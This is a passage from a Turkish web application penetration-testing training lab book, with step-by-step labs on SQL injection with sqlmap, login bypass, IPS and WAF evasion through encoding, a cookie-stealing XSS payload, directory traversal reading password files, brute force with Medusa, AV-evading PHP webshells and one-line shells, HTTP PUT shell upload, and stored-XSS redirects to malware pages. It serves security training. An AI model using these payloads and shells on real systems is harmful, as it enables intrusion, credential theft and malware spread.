değişkeninin değeri true yapılır ve çalıştır butonuna basılır.
Bu sayede form başarıyla gönderilmiştir.
56. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Burp Suite İle İsteğin Kesilip Düzenlendikten SonraGönderilmesi
1. Adım:
Giriş sayfası açılır ve tarayıcı proxy olarak Burp Suite’i kullanacak şekilde ayarlanır. İstemci
tarafı kontrollere takılmayacak bir kullanıcı adı ve parola ile giriş yapılır ve istek “Burp Suite
Proxy” sekmesinde görülür.
57. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2. Adım
Kullanıcı adına denk gelen parametre(örnekte username), istenildiği şekilde düzenlendikten
sonra sunucuya gönderilir. “Params” tabından işlem daha kolay yapılabilir.
58. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-04
Uygulama Adı: İstemci Tarafı Güvenlik Korumalarını Aşma - HTML Form
Amaç: Hedef web uygulamasında, html formlarındaki önlemleri atlatmak.
Lab senaryosu: En fazla, 20 karakter girilmesine izin veren bir “textarea” nesnesi içeren “html
formu” ve bu form ile gönderilen değeri ekrana basan, sunucu tabanlı bir script.
Kullanılan Araçlar:
● Burp Suite Free 1.5
Adımlar:
1. Adım:
Hedef sayfaya bağlanılır ve formun girdi alanlarındaki en uzun/kısa karakter sayısı, sadece
sayısal değer alma gibi, kısıtlamalar tespit edilir. Örnekte, formun “textarea” nesnesine
maxlength="20" özelliği atanarak, 20 karakterden fazla yazılması engellenmiştir. Bu durumda,
tarayıcıya proxy olarak Burp Suite’in dinlediği adres ve port verilip, form 20 veya daha az
karakterle gönderilir.
59. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2. Adım:
Burp suite’in “Proxy” sekmesinin “Params” alt sekmesinden, istenilen parametrelerin
değerleri, kısıtlama olmaksızın değiştirilip Forward butonuna basarak sunucuya yollanır.
Uygulama No: BGA-WPT-05
Uygulama Adı: Sqlmap Kullanarak Blind Sqli Veri Çekme
Amaç: Hede sistemde tespit edilen blind sqli zafiyetini, sqlmap kullanarak istismar etmek.
Lab senaryosu: “Blind sqli” barındıran herhangi bir web uygulaması olabilir, örnekte php ile
yazılmış örnek bir sayfave MySQL veritabanı kullanılmıştır. SQLol adlıeğitim/test amaçlıçeşitli
“sqli” zafiyetlerini barındıran uygulama da kullanılabilir.
Kullanılan Araçlar:
● Sqlmap
Adımlar:
1. Adım:
Hedef uygulamada, “blind sqli” zafiyeti tespit edilir. Bu aşamada, enjeksiyon noktası, web
zafiyet tarayıcıları yardımıyla ya da manuel olarak bulunabilir. Örnekte anlaşılırlık adına,
manuel yaklaşım ele alınmıştır. Hedef uygulamaya girildiğinde,
“http://localhost/blindsqli.php?name=bg&id=1” veritabanında bulunan geçerli bir isim ve id
eşleşmesinde “Beklenen sayfa” ile karşılaşılıyor. Tek başına id değiştirildiğinde
60. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
“http://localhost/blindsqli.php?name=bg&id=2” veya id yerine ‘ (tek tırnak) girildiğinde
“http://localhost/blindsqli.php?name=bg&id=’” “hata sayfası” ile karşılaşılıyor.
Bu aşamada, “blind sqli” test etmek için şu yöntem izlenebilir. URL’den id değerine 2-1 (bir)
şeklinde, mantıken sonucu 1 edecek bir değer girip, id=1 ile aynı sonucu verip vermediğine
bakılabilir. Benzer şekilde “id = 1 and 1=1” ile “id = 1 and 1=2” gibi mantıksal olarak sırasıyla,
doğru ve yanlış olması beklenen payloadlar da denenebilir. Örnek uygulamada payloadlar ve
çıktıları şu şekildedir.
“http://localhost/blindsqli.php?name=bg&id=2-1” “beklenen sayfa”
“http://localhost/blindsqli.php?name=bg&id=1 and 1=1” “beklenen sayfa”
“http://localhost/blindsqli.php?name=bg&id=1 and 2=1” “hata sayfası”
2. Adım:
Manuel olarak, “blind sqli” zafiyetini istismar etmek, harfleri, “binary search” mantığıyla
bulmak gerektiğinden, bir haylizahmetli olmaktadır. Öte yandan “sqlmap”kullanarak bu işlem
kolayca tamamlanabilir. Terminalden
“sqlmap -u "http://192.168.41.132/blindsqli.php?name=bg&id=1" -p id --technique=B --
current-db -v 3” komutu çalıştırılır ve uygulamanın kullandığı veritaban adı öğrenilir.
Parametrelerin açıklaması şu şekildedir.
-u URL
-p zafiyetin olduğu parametre
--technique=B sqli türü, B blind anlamında
--current-db Uygulamanın mevcut kullandığı veritabanı adı
-v ekranda gösterilecek detay seviyesi
61. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Parametre olarak --current-db yerine sqlmap --help ile görülebilecek bir çok farklı parametre
kullanılabilir. Örneğin --dump-all diyerek, veritabanı kullanıcısının erişim hakkı olan bütün
veritabanları indirilebilir.
SQLol Blind SQLi Zafiyetinin İstismar Edilmesi:
1. Adım:
localhost/SQLol/challenges.htm sayfasından “blind luck” görevi seçilir. Burada “blind sqli”
“injection string” kutusuna ‘1 or 1=1# ve ‘1 or 1=2# payloadları girilerek denenebilir. Tabi farklı
payloadlar da mümkündür.
2. Adım:
Açıklığı istismar etmek için, “sqlmap” bir önceki örnekte gösterilen şekilde
(sqlmap -u
"http://localhost/SQLol/select.php?inject_string=1&sanitization_level=none&sanitization_ty
pe=keyword&sanitization_params=&query_results=bool&error_level=none&show_query=o
n&location=where_string&submit=Inject" -p inject_string --technique=B --current-user -v 3)
Çalıştırıldığında, “inject_string” parametresinin zafiyet içermediğini, yani manuel olarak
doğruladığımız, blind sqli zafiyetini bulamadığını söyleyecektir. Sqlmap’i aynı parametrelere --
level=5 ve --risk=3 parametrelerini ekleyip daha çeşitli (tabi zararlı da olabilecek) payloadlar
denemesi söylenir. Bu sayede “sqlmap” zafiyeti başarıyla istismar edilebilmiştir.
62. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-06
Uygulama Adı: SQLi Kullanarak Giriş Formu Aşma / Authentication Bypass
Amaç: Hedef uygulamanın, giriş formundaki “sql injection” zafiyetini istismar ederek, sisteme
yetkisiz giriş yapmak.
Lab senaryosu:
Kullanılan Araçlar:
● Burp Suite Free 1.5
● Mutillidae
Adımlar:
1. Adım:
Hedef giriş formu açılır (owasp top 10->A1->bypass auth->login), , kullanıcı adı ve parola
alanlarında, sık kullanılan bir payload olan ‘ or ‘1’=’1 denenir. “Mutillidae security Level” 0 için
bu payloadın başarıyla çalıştığı görülüyor.
63. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2. Adım:
Security level 1 olarak ayarlanıp, aynı payload denendiğinde “Dangerous characters detected.
We can't allow these.....” diye başlayan bir hata mesajı alınıyor. Mesajın devamında yazdığı
üzere, bir çeşit “blacklist” yöntemi uygulanıyor. Bu aşamada tarayıcı “proxy” olarak “burp
suite” kullanacak gibi ayarlanır ve payload içermeyen bir giriş isteği gönderilir. “Burp suite”
üzerinden yakalanan istek, “password” bölümüne 1. Adımdaki gibi yerleştirilip gönderilir. Bu
şekilde, istemci taraflı korumanın aşıldığı görülmektedir.
3. Adım:
Farklı payloadları otomatik olarak denemek ve blacklist’in içermediği bir payload bulabilmek
için, Burp suite’in “intruder” eklentisi kullanılabilir. Yakalanan istek, burp suit’in intruder
eklentisine gönderilir. Girdi noktaları belirlenir (örnekte kısa sürmesi için sadece parola alanı
seçilmiştir).
64. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Payloads tabından denenecek payloadların listesi eklenir. Sıklıkla kullanılan “sqli login”
payloadlarının olduğu bir listeye “http://www.architectingsecurity.com/wp-
content/uploads/authentication-bypass-list.txt” adresinden ulaşılabilir. Payload “options”
bölümünden, “load” tıklanarak, liste yüklenir ve üst menüden “Intruder->start attack”
denilerek saldırı başlatılır.
Dönen cevaplar(özellikle boyutu farklı olanlar) incelenerek, başarılı olan payloadlardan biri
seçilip kullanılarak, sistemyetkisiz giriş yapılır.
65. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-07
Uygulama Adı: Web Testlerinde Saldırı Engelleme Sistemini Atlatma
Amaç: Hedef uygulamanın önündeki saldırı engelleme sistemini atlatarak, uygulamadaki
zafiyetleri istismar etmek.
Lab senaryosu: Internet bağlantısı olan, web tarayıcısı ve wireshark olan, tcpdump benzeri bir
paket yakalama yazılımı yüklü, bir bilgisayar.
Kullanılan Araçlar:
● tcpdump
● Iceweasel 18
Adımlar:
1. Adım:
Saldırı engelleme sistemini tespit etmek için, hedef sisteme bir tane IPS tarafından tanınması
beklenen, bir tane de geçmesi beklenen istek yapılır. Örnek olarak
“http://www.checkpoint.com/test.php?include=test.exe” şeklinde yapılan istekte, sayfa
bulunamadı mesajı alınırken “http://www.checkpoint.com/test.php?include=cmd.exe”
isteğinde IPS’in cmd.exe stringini tanımasından dolayı, tarayıcı bağlantı sıfırlandı uyarısı
vermektedir.
2. Adım:
Bağlantıyısıfırlayanisteği,websunucu ile aramızda bulunan başka bir makinadan(IPS) geldiğini
doğrulamak için, “tcpdump -i wlan0 src host www.checkpoint.com -vv -nn” komutu
kullanılabilir. Komuttaki wlan0 yerine, internete çıkılan arayüz, www.checkpoint.com yerine
de hedef sistem yazılarak, “tcpdump” sadece o adresten gelen cevapları gösterecek şekilde
başlatılır. İlk adımdaki istekler, tekrar yapılır. Normalde gelen paketlerin ve “reset flagı” set
edilmiş paketin, ttl değerlerinin farklı olduğu gözlenip, IPS doğrulanmış olur.
66. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
3. Adım:
Zafiyetin bulunduğu sayfaya, https üzerinden erişilmeye çalışılır. Örnekte sayfa
“https://www.checkpoint.com/test.php?include=cmd.exe” olarak çağırıldığında, reset yerine
“sayfa bulunamadı” mesajı görülmüştür. Sebebi, sunucunun önünde bulunan IPS’in, şifreli ssl
trafiğini deşifre etmemesi, dolayısıyla zararlı olarak gördüğü string'leri tespit edememesidir.
Uygulama No: BGA-WPT-08
Uygulama Adı: Encoding Kullanarak IPS Şaşırtma
Amaç: Hedef sistemdeki zafiyeti istismar edecek payloadı, web sunucusunun / veri tabanı
sunucusunun anlayacağı ama aradaki saldırı tespit sisteminin tanımlayamayacağı şekilde
encode ederek gönderip, saldırı tespit sistemini atlatmak.
Lab senaryosu: Üzerinde Mutillidae 2 çalışan linux sistem. iptables kullanılarak “/etc/passwd”
string'i engellenmiş olmalı. (iptables -I INPUT -p tcp --dport 80 -m string --algo bm --string
'/etc/passwd' -j DROP)
Kullanılan Araçlar:
● Iceweasel 18
67. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Adımlar:
1. Adım:
Örnekte mutillidae 2 nin A1->SQLi->Extract Data->User Info bölümündeki sqli zafiyeti
kullanılarak, sistemin /etc/passwd dosyası okunmaya çalışılmıştır. Sayfa açılır ve kullanıcı adı
bölümüne bgaparola bölümüne de 123'+union+select+1,1,user(),1,1# payloadı girilip, sqli
zafiyeti doğrulanır, ve mysql kullanıcısının root olduğu görülür.
2. Adım:
Aynı payload user() yerine, load_file('/etc/passwd') yazılarak gönderildiğinde istek iptables
tarafından engellenir ve sayfaya erişilemez.
3. Adım:
http://yehg.net/encoding/ adresi veya başka bir uygulama kullanılarak /etc/passwd stringi
hex encode edilir (Menüden hex encoding -> to MySQL hex seçilerek) ve payload
load_file(0x2F6574632F706173737764) şeklinde kullanılarak, IPS atlatılmış olur.
68. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-09
Uygulama Adı: Web Uygulama Testlerinde Encoding Yöntemleri ve Kullanım Alanları
Amaç: Web uygulama testlerinde encoding kullanarak gizlilik sağlamak.
Lab senaryosu: Reflected XSS zafiyeti bulunan herhangi bir web uygulaması. Örnek olarak
$_SERVER[‘PHP_SELF’] değerini sanitize etmeden formun “action” parametresinde kullanan
bir PHP scripti kullanılmıştır.
Kullanılan Araçlar:
● Iceweasel 18
Adımlar:
Web uygulama testlerinde, çeşitli encoding yöntemleri sıklıkla kullanılır. Bu encoding
yöntemlerinin tamamına, http://yehg.net/encoding/ adresinden ulaşılabilir. Web uygulama
testlerinde, encoding’in başlıca kullanımalanları, şu şekilde sıralanabilir.
● IPS / IDS / WAF atlatma
● Uygulama tabanlı blacklist / regex önlemlerini atlatma
● Log dosyalarının analizini zorlaştırma
● Payloadları daha az şüphe uyandıracak / dikkat çekecek hale getirme.
69. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
1. Adım:
Örnek lab ortamında, istismar edilmek istenilen XSS zafiyetinin test payloadı /"
onmouseover="alert(1) olsun. Kurbanın tıklaması gereken tam url
http://localhost/phpself.php/" onmouseover="alert(1) şeklinde olacaktır. Görüldüğü üzere
buraya /” onmouseover=”document.location=bga.com.tr/kaydet.php?val=+document.cookie
gibi gerçek payloadlar yerleştirildiğinde, hem loglar açısından hem de kurban açısından çok
dikkat çekici olacaktır. Saldırıyı kamufule etmek için, url encoding kullanılabilir. Payload
yehg.net/encoding ya da burp suite’in decoder eklentisi gibi araçlarda bulunan url encoding
işleminden geçirildiğinde son
hali %22%20%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%22%61%6c%65%72%74%28
%31%29 şeklinde olacaktır. İstismar işlemi için tam adres de
http://localhost/phpself.php%2f%22%20%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%
22%61%6c%65%72%74%28%31%29 şeklinde olur.
Dolayısıyla saldırı daha az dikkat çekecek hale getirilmiş olur.
70. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-10
Uygulama Adı: Google Üzerinden Web Uygulamalarına Ait Girdi Alanlarının
Belirlenmesi
Amaç: Hedef uygulamadaki girdi alanlarını pratik bir şekilde belirlemek.
Lab senaryosu: Internet erişimi olan bir bilgisayar.
Kullanılan Araçlar:
● Iceweasel 18
Adımlar:
1. Adım:
Bazen, hedef uygulamadaki girdi noktalarını belirlemek için, manuel yöntemler yerine, google
benzeri arama motorlarından faydalanmak, daha hızlı sonuca ulaşılmasını sağlayabilir.
Tarayıcıdan Google’a girilir ve arama çubuğuna site:domain.com.tr "SQL syntax" sorgusu
girilerek hedef alan adı üzerinde sql hatası vermiş ve Google tarafından tanınan sayfalar tespit
edilir. Yine arama çubuğuna site:domain.com.tr inurl:admin | inurl:login | inurl:vpn yazılarak
admin girişleri, üye girişleri veya vpn erişimleri tespit edilmeye çalışılır. Arama kelimeleri
çeşitlendirilerek, daha fazla sonuç elde edilebilir.
Uygulama No: BGA-WPT-11
Uygulama Adı: Google Üzerinden Hedef Sisteme Ait Web Platformu Araştırması
Amaç: Hedef sistemdeki web platformlarını tespit etmek.
Lab senaryosu: Internet erişimi olan bir bilgisayar.
Kullanılan Araçlar:
● Iceweasel 18
Adımlar:
1. Adım:
Kullanılan web platformlarını tespit etmek için, google yine pratik bir yöntem olarak
kullanılmaktadır. Google’ın arama çubuğuna, site:domain.com.tr filetype:asp | filetype:aspx |
71. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
filetype:jsp | filetype:php sorgusu girilerek hedef sistemdeki php,asp,aspx,jsp uzantılı
dosyalar tespit edilir. Dosyatürleri ihtiyaca göre çeşitlendirilip, daha fazlasonuç elde edilebilir.
Uygulama No: BGA-WPT-12
Uygulama Adı: Directory Traversal Kullanarak Sistemde Gezinme
Amaç: Hedef sistemdeki directory traversal zafiyetini istismar ederek, sistemdeki kritik
dosyaları okumak.
Lab senaryosu: Directory traversal zafiyeti olan bir uygulama. Örnek olarak, http get metodu
ilealdığıdosya adının sonuna .css ekleyerek file_get_contents fonksiyonunu çağıranve sonucu
geri döndüren bir PHP betiği.
Kullanılan Araçlar:
● Iceweasel 18
● curl 7.19.7
Adımlar:
1. Adım:
Directory traversal zafiyeti, uygulama aracılığıyla planlananın dışındaki dosya ve dizinlerin
okunmasıdır. Hedef web uygulamasında, yerel dosyaların içeriklerini gösteren(veya benzer
işlemler yapan) sayfaya girilir ve farklı dosya isimlerine veya dizin atlama denemelerine karşı
verdiği tepkiler gözlenir. Örnek uygulama “http://localhost/dirtraversal.php?cssfile=1” cssfile
parametresiyle belirlenen isimdeki css dosyasının içeriğini, ekrana basar. cssfile
parametresine, sunucuda bulunmayan bir dosya adı verildiğinde, boş bir sayfa dönmektedir.
İlk adımda, css dışında bir dosyayı okuma ihtimali için
“http://localhost/dirtraversal.php?cssfile=dirtraversal.php” denenir. Sistem eklenen dosya
adının sonuna bir de .css eklediği için girişim başarısız olur. Bunu aşmak için, dosya adının
sonuna null karakter’in url encoded versiyonu %00 eklenip, tekrar denenir.
“http://localhost/dirtraversal.php?cssfile=dirtraversal.php%00” düzgün çalışmasıbeklensede
bazı tarayıcılarda %00 karakterini göndermeme sorunu olabilir ve yine sonuç alınamayabilir.
Bu yüzden, en garanti çözüm curl uygulamasını kullanmaktır.
curl "http://localhost/dirtraversal.php?cssfile=dirtraversal.php%00"
72. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
dirtraversal.php dosyasının içeriğinin okunabildiği görülmüştür.
2. Adım:
Zafiyet doğrulandıktan sonra, sistemdeki kritik dosyalar okunarak, istismar işlemi
gerçekleştirilir. /etc/passwd ve /etc/shadow dosyaları, hedef uygulamanın konfigürasyon
dosyalar örn: “../../includes/dbconf.inc” (veri tabanı giriş bilgileri vb. elde etmek için),
/etc/sysconfig/network-scripts/ifcfg-eth0 gibi dosyalar okunup, elde edilen bilgilerle, sisteme
daha etkili ataklar gerçekleştirilir.
73. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-13
Uygulama Adı: Desteklenen HTTP Metodlarını Belirleme
Amaç: Hedef web sunucusunun desteklediği HTTP metodlarını tespit etmek.
Lab senaryosu: Herhangi bir web sunucusu kurulu bilgisayar. Örnekte Centos 6 üzerine kurulu
Apache 2.2
Kullanılan Araçlar:
● netcat v1.10 (nc)
● nmap v6.25
Adımlar:
1. Adım:
Hedef web sunucusuna netcat veya telnet kullanılarak bağlanılır. Örnekte nc tercih edilmiştir.
“nc hedefip hedefport” (hedef port standartta http için 80 https için 443 tür). Netcat’e
OPTIONS / HTTP/1.0 yazıp ardından 2 kere enter’a basılarak, sunucuya http options isteği
gönderilir. Uygulama ana dizinde değilse, “/” yerine “/webapp” yazılır. Desteklenen http
metodları, cevapta gözükecektir.
Ekran görüntüsünde görüldüğü gibi, bu işlemi otomatik olarak yapan bir nmap scripti de
bulunmaktadır. “nmap -p hedefport --script=http-methods.nse hedefip” şeklinde
kullanılabilir. Yine hedef uygulama farklı bir dizindeyse “ -script-args http-methods.url-
path=/webapp ” parametresi eklenerek belirtilir.
74. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-14
Uygulama Adı: HTTP Yetkilendirme Yöntemleri Kaba Kuvvet Saldırısı(Brute Force
Attack) - Basic Authentication
Amaç: HTTP Basic Authentication ile korunan sayfanın parolasını, kırıp sayfaya erişim
sağlamak.
Labsenaryosu: HTTP BasicAuth aktif phpmyadmin sayfası.Basicauthilekorunan herhangi bir
dizin olabilir.
Kullanılan Araçlar:
● Medusa v2.0
Blogda var: http://blog.bga.com.tr/2011/02/form-tabanl-kimlik-dogrulama-ve-brute.html
Adımlar:
1. Adım:
HTTP-Form kaba kuvvet(brute force) saldırıları başlığında anlatılan Hydra ile kullanımı çok
benzer olan Medusa aracı kullanılarak, http-auth parolaları kırılabilir. Aslında Hydra ile de
kırılabilir ancak farklı araçları denemek adına, bu örnekte Medusa kullanılmıştır. İlk olarak
HTTP-Auth ile korunan sayfatespit edilir “http://localhost/phpMyAdmin”. Onlinecracking için
kullanılabilecek büyüklükte bir wordlist hazırlanır / edinilir. Wordlist hazırlama aşamasında
crunch aracı kullanılabilir. Konsoldan
“ medusa -M http -m DIR:phpMyAdmin/ -h 192.168.41.132 -u root -P passfile.txt ” komutuyla
saldırı başlatılır. Komutun açılımı şöyledir.
-M kullanılacak modül(kali için ls -ls /usr/bin/medusa/modules/ şeklinde tüm
modüller
listelenebilir.)
-m Modüle geçirilecek parametreler, DIR korumalı dizini gösterir
-h Hedef sistemin ip adresi veya alanadı
-u Hedef kullanıcı phpmyadmin için root uygun bir seçim
-P denenilecek parolaların bulunduğu dosya
75. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-15
Uygulama Adı: Antivirüsler Tarafından Yakalanmayan PHP Shell Oluşturma
Amaç: Dosya yükleme yetkisinin bulunduğu durumlarda, sunucuyu ele geçirmek için
antivirüs/IPS/Waf tarafından tanınmayan PHP shell oluşturmak.
Lab senaryosu: PHP destekli bir web sunucusu. Örnekte Centos 6 üzerine kurulu Apache 2.2
kullanılmıştır.
Kullanılan Araçlar:
● weevely
Adımlar:
1. Adım:
“ weevely generate.php pass123 sh.php “ komutuyla, parolası pass123 olan ve dosya adı
sh.php olan bir php shell oluşturulur. Oluşturulan sh.php dosyasının, antivirüsler tarafından
tanınmadığı, virustotal.com gibi toplu tarama yapan adreslerden doğrulanabilir. Oluşturulan
sh.php dosyası, sunucuya yüklenir.
2. Adım:
“ weevely http://hedefadres/sh.php pass123 “ komutu kullanılarak yüklenen php shell ile
şifreli bir bağlantı üzerinden interaktif shell elde edilir. İlk olarak “:system.info” all komutu ile
76. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
hedef sistem hakkında detaylı bilgi toplamak faydalı olacaktır. Devamında :help ile
kullanılabilir modüller listelenip kullanılabilir.
Ayrıca, web sunucusu kullanıcısının yetkileri çerçevesinde, standart konsol komutları da
kullanılabilir.
3. Adım
Eğer, weevely ile başarılı olunamazsa veya shell’i log dosyasına yazmak gibi bazı özel
durumlarda, tek satırlık PHP shell’ler de kullanılabilir.
● <?php passthru($_GET[‘cmd’]); ?>
● <?php system($_GET[‘cmd’]); ?>
● <?php echo shell_exec($_GET[‘cmd’]); ?>
Referanslar:
http://blog.bga.com.tr/2011/11/web-attack-post-exploitation.html
77. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-16
Uygulama Adı: HTTP PUT Desteği Aktif Web Sunucusu Üzerinden Sistem Ele Geçirme
Amaç: HTTP PUT desteği aktif ve yazma izni olan bir dizini bulunan web sunucusuna, shell
yükleyerek, sistemi ele geçirmek.
Lab senaryosu: “upload” isimli webdav aktif ve yazma izni olan bir dizin bulunan apache web
sunucusu.
Kullanılan Araçlar:
● netcat v1.10
● msf 4.6.2
● curl 7.26
Adımlar:
1. Adım:
HTTP PUT isteği,web sunucusunda istenileniçerikle bir dosya oluşturmak veya olan dosyaların
içeriğini değiştirmek amacıyla kullanılır. Gerek kullanıcıların uygulama aracılığıyla dosya
yükleyebildiği dizinler, gerekse erişime açık/sağlanabilen webdav dizinleri, bu iki özelliğin bir
arada bulunarak oluşturduğu zafiyet için, bakmaya değer yerlerdir.
Hedef sistemin uygun dizinine, HTTP PUT isteği ile, sunucu üzerinde komut çalıştırılmasına
imkan verecek kodlar içeren bir dosya yazılır. Örnekte tek satırlık bir php shell yazılmıştır.
PUT /upload/sh.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: text/plain
Content-Length: 30
<?php passthru($_GET[cmd]); ?>
Olarak hazırlanıp req isimli bir dosyaya kaydedilen istek, “nc hedefIP 80 < req” komutuyla
sunucuya gönderilir.
78. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Geriye dönen cevabın, hedef dosya sunucuda bulunuyorsa 204, bulunmayıp yeni
oluşturuluyorsa 201 olması beklenir.
Alternatif olarak Metasploit’in http_put yardımcı modülü de kullanılabilir. msfconsole’da
“use auxiliary/scanner/http/http_put” ile modüle geçilir. Örnek sistemiçin ayarlar
set FILEDATA <?php passthru($_GET[cmd]); ?>
set FILENAME sh.php
set PATH /upload/
set RHOSTS hedefip
set VERBOSE true
şeklinde yapılır. setVERBOSEtrue yapılmasıönemlidir. Çünkü dönen HTTP cevabının kodunun
gösterilmesini sağlar. Aksi halde, modül doğru çalışsa bile, bazen dosya bulunamadı hatası
verebilmektedir. Dolayısıyla saldırının başarılı olup olmadığına, dönen cevaba göre karar
vermek, daha garanti bir yöntemdir.
79. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2. Adım:
Yüklenen shell üzerinden, sunucuda, web sunucusu kullanıcısının yetkisi dahilinde, istenilen
komutlar çalıştırılabilir. Komut çalıştırmak için curl normal tarayıcılardan daha kullanışlı
olabilmektedir. Örn: curl http://192.168.41.135/upload/sh.php?cmd=whoami ile sunucuda
“whoami” komutu çalıştırılır.
Uygulama No: BGA-WPT-17
Uygulama Adı: Stored XSS Kullanarak Zararlı Yazılım Barındıran Sayfaya Yönlendirme
Amaç: Stored XSS zafiyetini istismar ederek, zafiyetin bulunduğu sayfayı ziyaret eden tüm
kullanıcıları, zararlı yazılım barındıran bir adrese yönlendirmek.
80. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Lab senaryosu: Mutillidae veya stored XSS bulunan başka web uygulaması kurulu web
sunucusu.
Kullanılan Araçlar:
● Iceweasel 18
Adımlar:
1. Adım:
Stored XSS payloadı olarak <script>window.location="http://zararlısayfa.com"</script> girilir
ve sayfayı ziyaret eden kullanıcılar, doğrudan “zararlısayfa.com” adresine yönlendirilirler.
Eğer, kullanıcının bağlı olduğu sayfayı terk etmeden, dolayısıyla haberi olmadan, başka bir
sayfaya bağlanması isteniyorsa, gizli iframe yöntemi kullanılabilir. Bu yöntemde de XSS
payloadı olarak (XFS yani cross frame scripting de denilmektedir)
<iframe style="position:absolute;top:-9999px" src="http://zararlısayfa.com"/></iframe>
kullanılabilir. Test ortamında, payloadın çalıştığını doğrulamak için Mutillidae’nın Persistent
XSS bölümünde, blog girdisi olarak girilir. Devamında bloglar listelenirken, tarayıcının durum
çubuğunda(resimde sol altta) “zararlısayfa.com adresinden veri yükleniyor” gibi bir mesaj
görünüyor olması gerekir.
81. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-18
Uygulama Adı: Antivirüsler Tarafından Yakalanmayan ASP Shell Oluşturma
Amaç: Doğrudan veya dolaylı olarak dosya yükleme yetkisinin bulunduğu durumlarda,
sunucuyu ele geçirmek için antivirüs/IPS/Waf tarafından tanınmayan ASP shell oluşturmak.
Lab senaryosu: ASP destekli bir web sunucusu. Örnekte Windows Server 2008 üzerine kurulu
IIS 7 kullanılmıştır.
Kullanılan Araçlar:
● Laudanum 0.8
● msf 4.6.2
Adımlar:
